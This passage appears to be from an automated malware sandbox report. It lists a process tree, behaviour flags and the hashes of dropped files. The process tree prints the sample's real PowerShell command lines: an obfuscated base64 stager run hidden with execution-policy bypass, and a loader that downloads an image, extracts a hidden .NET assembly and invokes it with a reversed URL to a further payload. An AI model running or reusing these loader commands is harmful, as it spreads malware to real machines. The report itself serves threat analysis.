▶◀▶n◀▶C◀▶◀▶L◀▶◀▶g◀▶Cc◀▶YgBv◀▶HM◀▶d◀▶Bh◀▶Cc◀▶KQ◀▶p◀▶◀▶=='";$OWjuxd = [system.Text.encoding]::Unicode.GetString("[system.Convert]::Frombase64string( $codigo.replace('◀▶','A') ))";powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD""3⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2628 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/613/515/original/rump_vbs_antivm.jpg?1695147255';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.46esabelifdemmahom/36.33.24.391//:ptth' , 'bosta'))"4⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2516
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize304B
MD50d78b433fda721e9db3c64f98014cc2e
SHA1c7e783cf2a2341f5121d56cc37c8629664333270
SHA25613514cd6aae0dbb05d22d27b23cb942ac6ffebca954b055e668a4d6531795e68
SHA5124ac0096bb773ca556004ee09aa2c6aaed48fb74b6875e9cfface6f8d931a756e2acef470d37b6c9b91550fdb13ce8b9fa079e4316b805c3a75666926f1b5c5a7
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Filesize
61KB
MD5f3441b8572aae8801c04f3060b550443
SHA14ef0a35436125d6821831ef36c28ffaf196cda15
SHA2566720349e7d82ee0a8e73920d3c2b7cb2912d9fcf2edb6fd98f2f12820158b0bf
SHA5125ba01ba421b50030e380ae6bbcd2f681f2a91947fe7fedb3c8e6b5f24dce9517abf57b1cf26cc6078d4bb53bde6fcfb2561591337c841f8f2cb121a3d71661b9
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Filesize
163KB
MD59441737383d21192400eca82fda910ec
SHA1725e0d606a4fc9ba44aa8ffde65bed15e65367e4
SHA256bc3a6e84e41faeb57e7c21aa3b60c2a64777107009727c5b7c0ed8fe658909e5
SHA5127608dd653a66cd364392a78d4711b48d1707768d36996e4d38871c6843b5714e1d7da4b4cc6db969e6000cfa182bcb74216ef6823d1063f036fc5c3413fb8dcf
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\NSWQI5MS83NZ4ZUK9KPQ.temp
Filesize7KB
MD5b7b31d238ee9dbbf2af854834010a6ea
SHA1a9070261b63307c0040fd2f9ce0b2047815f2262
SHA2564f8e9de8af4e413b7f9fc492ab5c8564db3b8acb00955d985daee14db31c3a53
SHA51206e3958942e02e035be1be7042b4af55ce2f085dbb34e0b0b74794d72c6228f29d0c674c89c9a005ea99a5467e7d3c35260161e9db965ff474cee2cd07a4f1a4
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
Filesize7KB
MD5b7b31d238ee9dbbf2af854834010a6ea
SHA1a9070261b63307c0040fd2f9ce0b2047815f2262
SHA2564f8e9de8af4e413b7f9fc492ab5c8564db3b8acb00955d985daee14db31c3a53
SHA51206e3958942e02e035be1be7042b4af55ce2f085dbb34e0b0b74794d72c6228f29d0c674c89c9a005ea99a5467e7d3c35260161e9db965ff474cee2cd07a4f1a4
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Filesize
296KB
MD562154436f26a9ce3557b89b54e54fe16
SHA1394c5020de551647542bbce51866f4fd56804be7
SHA256e5eacf3f20e8d661fa021a1bb802013908a6a01b6fd22584edd2bbfa7b5cf416
SHA51221d68ec5a97bd8e7aa06c8c8231eb01118226c8f605aa51e1c728efea3e247c6aa319807da4c8179b78af926ed223efe674653ba479a6d97a11045dcd161af39
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Filesize
296KB
MD562154436f26a9ce3557b89b54e54fe16
SHA1394c5020de551647542bbce51866f4fd56804be7
SHA256e5eacf3f20e8d661fa021a1bb802013908a6a01b6fd22584edd2bbfa7b5cf416
SHA51221d68ec5a97bd8e7aa06c8c8231eb01118226c8f605aa51e1c728efea3e247c6aa319807da4c8179b78af926ed223efe674653ba479a6d97a11045dcd161af39